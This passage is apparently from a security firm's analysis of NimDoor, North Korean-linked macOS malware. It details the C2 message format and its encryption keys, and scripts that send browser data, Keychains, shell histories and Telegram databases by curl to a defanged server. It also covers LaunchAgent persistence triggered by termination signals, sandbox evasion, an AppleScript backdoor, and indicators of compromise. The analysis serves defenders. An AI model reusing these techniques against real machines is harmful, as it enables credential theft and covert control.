Our analysis found that the communication messages from the C2 use a JSON format of {"name":"","payload":"","target":""}. The name field takes the value auth or message.

When the auth value is used, the payload field has the JSON structure {"uid":"","cipher":""}, where the uid field contains a generated uid value and the cipher field contains the uid value encrypted using the key Ej7bx@YRG2uUhya#50Yt*ao and then encoded in base64. We suspect the target field is used for the victim identifier.

When the message value is used, the payload field value is encrypted using the key 3LZu5H$yF^FSwPu3SqbL*sK. The payload has the JSON structure {"cmd":, "data":""} where the cmd field contains an int value for the command to be executed. Available commands we were able to identify in trojan1_arm64 were as follows:

The result of an executed command is returned to the C2 in the payload field, now having the form {"cmd":,"err":,"data":""}, where cmd contains the int value related to the command that was executed, err contains an int value related to success or failure, and data contains the results of the executed command. For example, when a getSysInfo command is executed, the data field will be populated with values in a JSON structure of the form {"boottime":,"username":"","version":"","comname":"","platform":"","arch":""}.

The whole JSON message is encrypted using the key lZjJ7iuK2qcmMW6hacZOw62.

Data Stealing Bash Scripts

The first part of the attack chain concludes with trojan1_arm64 downloading and executing two scripts, upl and tlgrm.

The upl script is a credential-stealer designed to silently extract browser and system-level information, package it, and exfiltrate it. The script targets data from the following browsers:

• Arc
• Brave
• Firefox
• Google Chrome
• Microsoft Edge

Browser data is copied to

/private/var/tmp/uplex_<username>/<browser>/

The script also targets the following Keychain and shell files and directories:

/Library/Keychains/System.keychain
~/Library/Keychains/login.keychain-db
~/.bash_history
~/.zsh_history
~/.zsh/

The data is then compressed via ditto -ck and posted to the C2 using curl.

The tlgrm script steals Telegram’s encrypted local database (postbox/db) and the decryption key blob, .tempkeyEncrypted, presumably for offline decryption or brute force attempts.

The Telegram data is exfiltrated to the same server used in the upl script. The uploadData() function in both scripts is identical save for one variable name used to specify the server address: hostName in upl and serverUrl in tlgrm.

upl:
hostName="https[:]//dataupload[.]store/uploadfiles"

tlgrm:
serverUrl="https[:]//dataupload[.]store/uploadfiles"

Our investigation found related scripts in public malware repositories that may be tied to similar attacks. We list these in the Indicators of Compromise section at the end of this post.

Technical Analysis of installer, GoogIe LLC, and CoreKitAgent

Installer

The second part of the attack chain begins with the installer binary dropped alongside a by the initial access scripts. Compiled from Nim and weighing in at ~233KB, the installer binary is a universal architecture Mach-O with an ad hoc signature and the identifier user_startup_installer_arm64.

The installer binary checks for the existence of a LaunchAgent at [~]/Library/LaunchAgents/com.google.update.plist and creates folder paths at [~]/Library/CoreKit/ and  [~]/Library/Application Support/GoogIe LLC/ for use by the later stages described in the following sections.

The misspelling of GoogIe LLC (uppercase ‘i’, not lowercase ‘L’) is intended to help the malware blend in and avoid suspicion.

An interesting feature of this and the other compiled Nim binaries is the existence of code that at first blush could be mistaken for C2 command options.

Huntress researchers also reported observing a subset of these “po” commands in their analysis. Nim documentation reveals that these are part of Nim’s std/osproc module, used for executing OS processes, similar to the way Objective-C uses NSTask, and are not attacker-written code or malware artifacts.

We identified two versions of the installer binary, identical except for the path used to set up the config file used by later stage payloads. One version of installer uses /private/tmp/cfg (06566eabf54caafe36ebe94430d392b9cf3426ba) while the other uses /private/tmp/.config (08af4c21cd0a165695c756b6fda37016197b01e7).

In both cases, installer checks that the file does not exist, then writes a 0 byte file to the path, setting write-only access (O_WRONLY) on the file. The file path contents are populated by the next stage GoogIe LLC and later read by CoreKitAgent.

GoogIe LLC

Compiled from Nim and approximately 195KB, the GoogIe LLC executable is a universal Mach-O bearing an ad hoc code signature with the identifier user_startup_loader_arm64. Interestingly, only the filename for this stage uses the typo spoofing trick; the parent folder /Google LLC/ spells Google correctly with a lowercase “L”.

~/Library/Application Support/Google LLC/GoogIe LLC

The binary’s primary function is to set up a configuration file and launch the next stage, CoreKitAgent. The GoogIe LLC executable contains hardcoded data that is combined with local environmental data, encoded, and then written out to the config file in /private/tmp.

The resulting config file contains a 298 byte string of hexadecimal characters. This is later read by CoreKitAgent, which is responsible for writing the LaunchAgent to disk using com.google.update.plist for the Label key and the GoogIe LLC binary for the program argument. The data written to the config file is used as the value for the LaunchAgent’s CLIENT_AUTH_KEY key.

The first 47 characters of the value of CLIENT_AUTH_KEY are also identical to the first 47 characters (of the total 86) used for the value of SERVER_AUTH_KEY.

When the LaunchAgent is activated by a user login or reboot, GoogIe LLC is launched, which in turn calls CoreKitAgent and the rest of the payload logic.

CoreKitAgent

Of the four Nim binaries observed, CoreKitAgent is the most technically complex. It exists in both an unsigned stripped (~233KB) version and an ad hoc signed, unstripped (~340KB) version. VirusTotal telemetry indicates that the stripped version was uploaded from South Korea in October 2024. The unstripped version was observed in the wild in early April 2025. Although it is a universal binary, the ad hoc signature identifies the binary as user_startup_main_arm64.

The CoreKitAgent program operates as an event-driven application using macOS’s kqueue mechanism. The _main function sets up Nim’s standard signal handlers and then hands control to an asynchronous continuation function _mainX20X28AsyncX29___user95startup95main_u45, which initiates the malware’s core logic.

Control flow within this function is handled by a 10-case switch statement implemented as a table-driven state machine, with an execution state stored in memory and updated via a lookup table with the following values:

00 00 fe ff 03 00 00 00 fe ff fe ff fe ff fe ff

After each case completes, the code consults the lookup table to determine the next state depending on error conditions or specific flags set during execution of the previous case. For example, if certain error bits are set, the next state value might be negated, effectively creating alternate paths through the state sequence depending on runtime conditions.

From an analysis point of view, much of the interesting malicious behaviour occurs in Case 1, which overrides some of the earlier signal handlers for intercepting SIGINT and SIGTERM. SIGINT is sent to a process when a user attempts to kill a process (such as by pressing ctl-c in the Terminal). SIGTERM, in contrast, is a signal sent by the system or another process, such as when the kill command is invoked by a user in the Terminal or by a program or script.

When triggered, CoreKitAgent catches these signals and writes the LaunchAgent for persistence, a copy of GoogIe LLC as the loader, and a copy of itself as the trojan, setting executable permissions on the latter two via the addExecutionPermissions_user95startup95mainZutils_u32 function.

This behavior ensures that any user-initiated termination of the malware results in the deployment of the core components, making the code resilient to basic defensive actions.

The state machine also contains a 10-minute sleep routine, likely as an anti-VM or sandbox countermeasure. The sleep routine is set up and called in Case 6 with a hard-coded value of 0x927c0 (600,000ms), as indicated in the following pseudocode.

void* rax_29 = _sleepAsync__user95startup95main_u73(0x927c0);  // 600,000ms = 10min
if (*r12 != 0)
	_eqdestroy___pureZasyncdispatch_u1229(rax_29);  // Error cleanup
else {
	_eqsink___pureZasyncdispatch_u7188(rsi_1 + 0x40, rax_29);  // Store future
	if (*r12 == 0) {
		*(r15 + 8) = 7;  // Transition to state 7
		rsi_15 = *(r15 + 0x40);
	}
}

The sleep function, _sleepAsync__user95startup95main_u73, uses the operating system’s mach_absolute_time() and mach_timebase_info() to create an asynchronous sleep. Rather than just blocking execution for 10 minutes – a technique many sandboxes would detect and counter – it instead registers a wake-up time with a global dispatcher and continues execution of the main event loop. When the sleep timer expires, CoreKitAgent calls Case 7 and continues execution.

AppleScript Beacon and Backdoor

The malware’s custom encryption and obfuscation routines involve multiple passes through several functions. One of these involves deobfuscating string literals made up of long sequences of hexadecimal numbers that are passed to a decrypt function, _fromHex__pkgZnimcryptoZutils_u257.

In the unstripped version, one of the hexadecimal strings contains the template for the previously discussed LaunchAgent. In both versions, although the content differs, an AppleScript is decoded, written to disk at  ~/.ses, and launched via osascript.

The embedded AppleScript fetches the current Unix timestamp via date to create a unique ID and builds an HTTP header string. Throughout, the authors have broken strings down into character lists to help protect the script from simple scanning rules. The same trick is used to disguise two hardcoded C2 addresses, writeup[.]live and safeup[.]store.

On execution, the script beacons out every 30 seconds to one of the two hardcoded C2s, chosen at random, and attempts to post data obtained from listing all running processes on the victim machine. The script also executes any response received from the C2 via the run script command, meaning this simple AppleScript functions both as a beacon and a backdoor.

The embedded AppleScript in the stripped version of CoreKitAgent takes a different form and uses different embedded C2 server addresses but has similar functionality, including the 30 second delay interval.

Conclusion

SentinelLABS’ analysis of NimDoor shows how threat actors are continuing to explore cross-platform languages that introduce new levels of complexity for analysts.

North Korean-aligned threat actors have previously experimented with Go and Rust, similarly combining scripts and compiled binaries into multi-stage attack chains. However, Nim’s rather unique ability to execute functions during compile time allows attackers to blend complex behaviour into a binary with less obvious control flow, resulting in compiled binaries in which developer code and Nim runtime code are intermingled even at the function level.

At the same time, the attackers take full advantage of macOS’s built-in scripting capabilities. Leveraging AppleScript to perform duties like beaconing is a novel approach that removes the need for a traditional post-exploitation framework and the detection ‘noise’ such implants can create. In addition, the use of wss for communications and signal interrupts to trigger persistence logic provide yet further evidence of active development in new ways to defeat security measures.

Earlier this year, we saw threat actors utilizing Nim as well as Crystal, and we expect the choice of less familiar languages to become an increasing trend among macOS malware authors due both to their technical advantages and their unfamiliarity to analysts. As ever in the cat-and-mouse game of threat and threat detection, when one side innovates, the other must respond, and we encourage other analysts, researchers, and detection engineers to invest effort in understanding these lesser-known languages and how they will eventually be leveraged.

Indicators of Compromise

Domains

FilePaths
~/Library/Application Support/Google LLC/GoogIe LLC
~/Library/LaunchAgents/com.google.update.plist
~/.ses
~/Library/CoreKit/CoreKitAgent
~/Library/DnsService/a
~/Library/DnsService/netchk
/private/tmp/.config
/private/tmp/cfg
/private/var/tmp/uplex_//

Binaries | SHA-1

Scripts
Observed

Related